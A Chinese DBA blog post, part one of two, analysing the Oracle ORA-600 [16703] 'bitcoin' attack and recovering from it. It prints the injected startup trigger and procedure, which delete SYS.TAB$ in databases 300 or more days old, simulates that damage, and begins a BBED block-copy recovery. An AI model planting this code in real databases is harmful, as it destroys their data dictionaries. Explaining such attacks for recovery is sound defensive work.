ORA-600_16703比特币攻击案例分析（上）

2019年2月22日

李翔宇

1856

续篇：ORA-600_16703比特币攻击案例分析（下）

近期大量的客户数据库软件被注入恶意代码，导致数据库无法启动，报错ORA-00600: internal error code, arguments: [16703], [1403], [20]，大致的原因和预防措施可参考下面两篇文章：

http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html

大致的意思是由于恶意攻击，$ORACLE_HOME/rdbms/admin/prvtsupp.plb被注入恶意代码。核心部分为一个触发器一个存储过程，清空了tab$，导致数据库启动时，bootstrap阶段无法完成。

触发器如下：

create or replace trigger DBMS_SUPPORT_DBMONITORafter startup on databasedeclarebegin
DBMS_SUPPORT_DBMONITORP;end;
/

触发器用于启动数据库后调用DBMS_SUPPORT_DBMONITORP这个存储过程，存储过程代码如下：

PROCEDURE DBMS_SUPPORT_DBMONITORP ISDATE1 INT :=10;BEGINSELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THENEXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint';END IF;END;/

该存储过程逻辑为：判断数据库的创建时间是否大于 300 天，如果大于300天则ctas备份tab$之后，delete tab$。

如果有备份的话，那么很简单就不展开了，本文主要介绍没备份的方法。

首先手工构造场景：

模拟DBMS_SUPPORT_DBMONITORP里的内容

SQL> @swl

System altered.

SQL> select count(*) from t;

  COUNT(*)----------
     13982
         
SQL> create table t_bak as select * from tab$;

Table created.

SQL> delete from tab$;

1251 rows deleted.

SQL> commit;Commit complete.SQL> alter system checkpoint;

System altered.

SQL> shutdown abort;
ORACLE instance shut down.

此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]

SQL*Plus: Release 11.2.0.4.0 Production on Wed Feb 13 04:21:27 2019Copyright (c) 1982, 2013, Oracle.  All rights reserved.

Connected to an idle instance.SQL> startupORACLE instance started.

Total System Global Area 1269366784 bytesFixed Size                  2252864 bytesVariable Size            1191186368 bytesDatabase Buffers           67108864 bytesRedo Buffers                8818688 bytesDatabase mounted.
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 3255Session ID: 125 Serial number: 5

恢复思路：

由于有且仅有tab$被delete，所以如果能恢复tab$的数据则数据库将得以恢复，这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路)：

根据dump redo可以找到tab$被delete的rdba以及具体条目，使用bbed逐一还原(此方法非常麻烦，如果该库的表特别多，会增加更多工作量)。
由于恶意代码中，delete tab$前，ctas了一份tab$的备份，可以尝试先open数据库，再根据备份的tab$ insert到tab$中(此方法相对比较方便)。
odu抽取数据，重建库(如果库特别大，比如好几个t，甚至10t，100t的库则耗时太长)

本文只介绍第二种比较方便的方法,

恢复步骤大致如下：

open数据库
根据备份的tab$ insert到tab$中

在恢复之前首先简单介绍一下tab$，tab$是cluster C_OBJ#中的一个table，CLUSTER KEY为OBJ#，C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象，tab$在数据库中是非常核心的一个基表，它记录了table的段头地址以及统计信息。在数据库open过程中，需要访问到的基表对象如果在tab$中不存在，则数据库将无法open，报错即为ORA-00600: internal error code, arguments: [16703], [1403], [xxx]。

CREATE CLUSTER C_OBJ#("OBJ#" NUMBER) PCTFREE 5 PCTUSED 40 INITRANS 2 MAXTRANS 255 STORAGE ( INITIAL 136K NEXT 200K MINEXTENTS 1 MAXEXTENTS 2147483645 PCTINCREASE 0 OBJNO 2 EXTENTS (FILE 1 BLOCK 144)) SIZE 800CREATE TABLE TAB$("OBJ#" NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#" NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#" NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER,"
PCTFREE$" NUMBER NOT NULL,"PCTUSED$" NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS" NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT$" VARCHAR2(38) NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT" NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB" NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE" NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS" NUMBER NOT NULL,"KERNE
LCOLS" NUMBER NOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#)

如何open数据库？

知道了在数据库open过程中，需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments: [16703], [1403], [xxx]，那么将这些对象的信息还原回tab$，则数据库将open成功。

如何确定数据库open需要访问哪些核心基表呢？

找一个正常的数据库做open时的10046，过程如下：

SQL> startup mount;
ORACLE instance started.

Total System Global Area 1269366784 bytes
Fixed Size 2252864 bytes
Variable Size 754978752 bytes
Database Buffers 503316480 bytes
Redo Buffers 8818688 bytes
Database mounted.
SQL> @46on
Statement processed.
Statement processed.
SQL> alter database open;

Database altered.

SQL> @46off
/u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc
Statement processed.

简单的对10046 trace文件进行筛选则可以找到这些基表的obj#，并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息

[oracle@test ~]$ grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc|awk '{print $7}'|sort|uniq|sed 's/obj=/,/'|awk '{printf $1}'|sed 's/^,//'
10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99

SQL> SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
2 FROM TAB$ a,obj$ b
3 WHERE a.obj#=b.obj#
4 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99) 5 order by 6,7;

OBJ# TAB# DATAOBJ# BOBJ# NAME FILE_ID BLOCK_ID---------- ---------- ---------- ---------- ------------------------------ ---------- ----------
25 25 PROXY_ROLE_DATA$ 1 145
17 17 FILE$ 1 145
20 4 2 2 ICOL$ 1 145
19 3 2 2 IND$ 1 145
28 28 CON$ 1 145
15 15 UNDO$ 1 145
21 5 2 2 COL$ 1 146
16 2 6 6 TS$ 1 146
5 2 2 2 CLU$ 1 146
14 2 8 8 SEG$ 1 146
23 23 PROXY_DATA$ 1 146
22 1 10 10 USER$ 1 147
18 18 OBJ$ 1 147
4 1 2 2 TAB$ 1 147
59 59 BOOTSTRAP$ 1 147
32 2 29 29 CCOL$ 1 147
61 61 OBJAUTH$ 1 148
31 1 29 29 CDEF$ 1 148
69 69 VIEW$ 1 148
80 6 2 2 LOB$ 1 149
74 74 SEQ$ 1 149
83 7 2 2 COLTYPE$ 1 149
99 99 EDITION$ 1 149
98 98 PROPS$ 1 149
95 11 2 2 OPQTYPE$ 1 149
92 10 2 2 REFCON$ 1 149
88 9 2 2 NTAB$ 1 149
86 8 2 2 SUBCOLTYPE$ 1 149
101 101 FIXED_OBJ$ 1 150
103 103 MIGRATE$ 1 150
104 104 DEPENDENCY$ 1 150
105 105 ACCESS$ 1 150
118 118 SYSAUTH$ 1 150
160 160 TRIGGER$ 1 152
161 161 TRIGGERCOL$ 1 152
192 192 SQL$ 1 153
221 221 PROCEDURE$ 1 154
228 228 IDL_SB4$ 1 155
227 227 IDL_UB2$ 1 155
226 226 IDL_CHAR$ 1 155
225 225 IDL_UB1$ 1 155
252 14 2 2 LIBRARY$ 1 156
294 294 RESOURCE_PLAN$ 1 158
297 297 RESOURCE_PLAN_DIRECTIVE$ 1 159
300 300 RESOURCE_STORAGE_POOL_MAPPING$ 1 159
301 301 RESOURCE_CAPABILITY$ 1 159
302 302 RESOURCE_INSTANCE_CAPABILITY$ 1 159
304 304 TSM_SRC$ 1 159
307 307 TSM_DST$ 1 159
311 311 SERVICE$ 1 160
390 390 RADM_FPTM$ 1 163
436 436 XS$SESSION_ROLES 1 165
433 433 XS$SESSIONS 1 165
438 438 XS$SESSION_APPNS 1 165
453 453 TAB_STATS$ 1 166
451 451 AUX_STATS$ 1 166
448 448 HIST_HEAD$ 1 166
446 1 444 444 HISTGRM$ 1 166
455 455 IND_STATS$ 1 166
463 463 ASSOCIATION$ 1 167
506 506 OPTSTAT_HIST_CONTROL$ 1 3337
514 514 ID_GENS$ 1 3337
515 515 OID$ 1 3337
517 17 2 2 TYPE_MISC$ 1 3338
567 567 KOPM$ 1 3339
587 587 PARTOBJ$ 1 3341
713 713 STREAMS$_CAPTURE_PROCESS 1 4396
717 717 STREAMS$_APPLY_PROCESS 1 4396
721 721 STREAMS$_PROPAGATION_PROCESS 1 4396
1297 1297 SYS_FBA_FA 1 7897
1300 1300 SYS_FBA_TSFA 1 7897
1307 1307 SYS_FBA_USERS 1 7897
1306 1306 SYS_FBA_PARTITIONS 1 7897
1304 1304 SYS_FBA_TRACKEDTABLES 1 7897
1302 1302 SYS_FBA_BARRIERSCN 1 7897
1314 1314 REGISTRY$ 1 7898
1309 1309 SYS_FBA_DL 1 7898
5541 5541 DAM_CONFIG_PARAM$ 1 9952
5582 5582 INVALIDATION_REGISTRY$ 1 9954
5780 5780 LOC$ 1 9963
5804 5804 AQ$_QUEUE_TABLE_AFFINITIES 1 9965
5797 5797 AQ$_QUEUES 1 9965
5794 5794 AQ$_QUEUE_TABLES 1 9965
5814 5814 AQ$_SCHEDULES 1 9965
7144 7144 REPCAT$_REPPROP 1 13368
12939 12939 AQ$_SCHEDULER$_EVENT_QTAB_L 1 22502
12973 12973 AQ$_SCHEDULER$_REMDB_JOBQTAB_L 1 22504
13003 13003 AQ$_SCHEDULER_FILEWATCHER_QT_L 1 22506
13059 13059 AQ$_ALERT_QT_L 1 22509
13273 13273 AQ_EVENT_TABLE 1 22518
13298 13298 AQ$_AQ_PROP_TABLE_L 1 22519
13604 13604 AQ$_SYS$SERVICE_METRICS_TAB_L 1 31492
14137 14137 AQ$_WM$EVENT_QUEUE_TABLE_L 1 31514

93 rows selected.

这些对象在同版本同平台的数据库上的rdba地址一般都是一致的，所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库，否则后续处理会比较麻烦)，使用bbed进行替换，用sql拼接出bbed的命令

SQL> SELECT DISTINCT 'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM ( 2 SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
3 FROM TAB$ a,obj$ b
4 WHERE a.obj#=b.obj#
5 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));

'COPYFILE2BLOCK'||BLOCK_ID||'TOFILE'||FILE_ID||'BLOCK'||BLOCK_ID----------------------------------------------------------------------------------------------------------------------------------------------------------copy file 2 block 156 to file 1 block 156
copy file 2 block 160 to file 1 block 160
copy file 2 block 3339 to file 1 block 3339
copy file 2 block 7898 to file 1 block 7898
copy file 2 block 9965 to file 1 block 9965
copy file 2 block 149 to file 1 block 149
copy file 2 block 153 to file 1 block 153
copy file 2 block 9952 to file 1 block 9952
copy file 2 block 13368 to file 1 block 13368
copy file 2 block 150 to file 1 block 150
copy file 2 block 152 to file 1 block 152
copy file 2 block 158 to file 1 block 158
copy file 2 block 165 to file 1 block 165
copy file 2 block 9963 to file 1 block 9963
copy file 2 block 147 to file 1 block 147
copy file 2 block 145 to file 1 block 145
copy file 2 block 148 to file 1 block 148
copy file 2 block 154 to file 1 block 154
copy file 2 block 166 to file 1 block 166
copy file 2 block 4396 to file 1 block 4396
copy file 2 block 9954 to file 1 block 9954
copy file 2 block 22502 to file 1 block 22502
copy file 2 block 22506 to file 1 block 22506
copy file 2 block 155 to file 1 block 155
copy file 2 block 159 to file 1 block 159
copy file 2 block 22504 to file 1 block 22504
copy file 2 block 31492 to file 1 block 31492
copy file 2 block 146 to file 1 block 146
copy file 2 block 163 to file 1 block 163
copy file 2 block 3338 to file 1 block 3338
copy file 2 block 7897 to file 1 block 7897
copy file 2 block 22509 to file 1 block 22509
copy file 2 block 31514 to file 1 block 31514
copy file 2 block 167 to file 1 block 167
copy file 2 block 3337 to file 1 block 3337
copy file 2 block 3341 to file 1 block 3341
copy file 2 block 22518 to file 1 block 22518
copy file 2 block 22519 to file 1 block 22519

38 rows selected.

[oracle@test ~]$ bbed parfile=bbed

BBED: Release 2.0.0.0.0 - Limited Production on Thu Feb 14 03:47:47 2019Copyright (c) 1982, 2011, Oracle and/or its affiliates. All rights reserved.

************* !!! For Oracle Internal Use only !!! ***************

BBED> info File# Name Size(blks) ----- ---- ----------
1 /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw 0
2 /u01/app/oracle/oradata/TEST/datafile/o1_mf_system_g5vltnf 0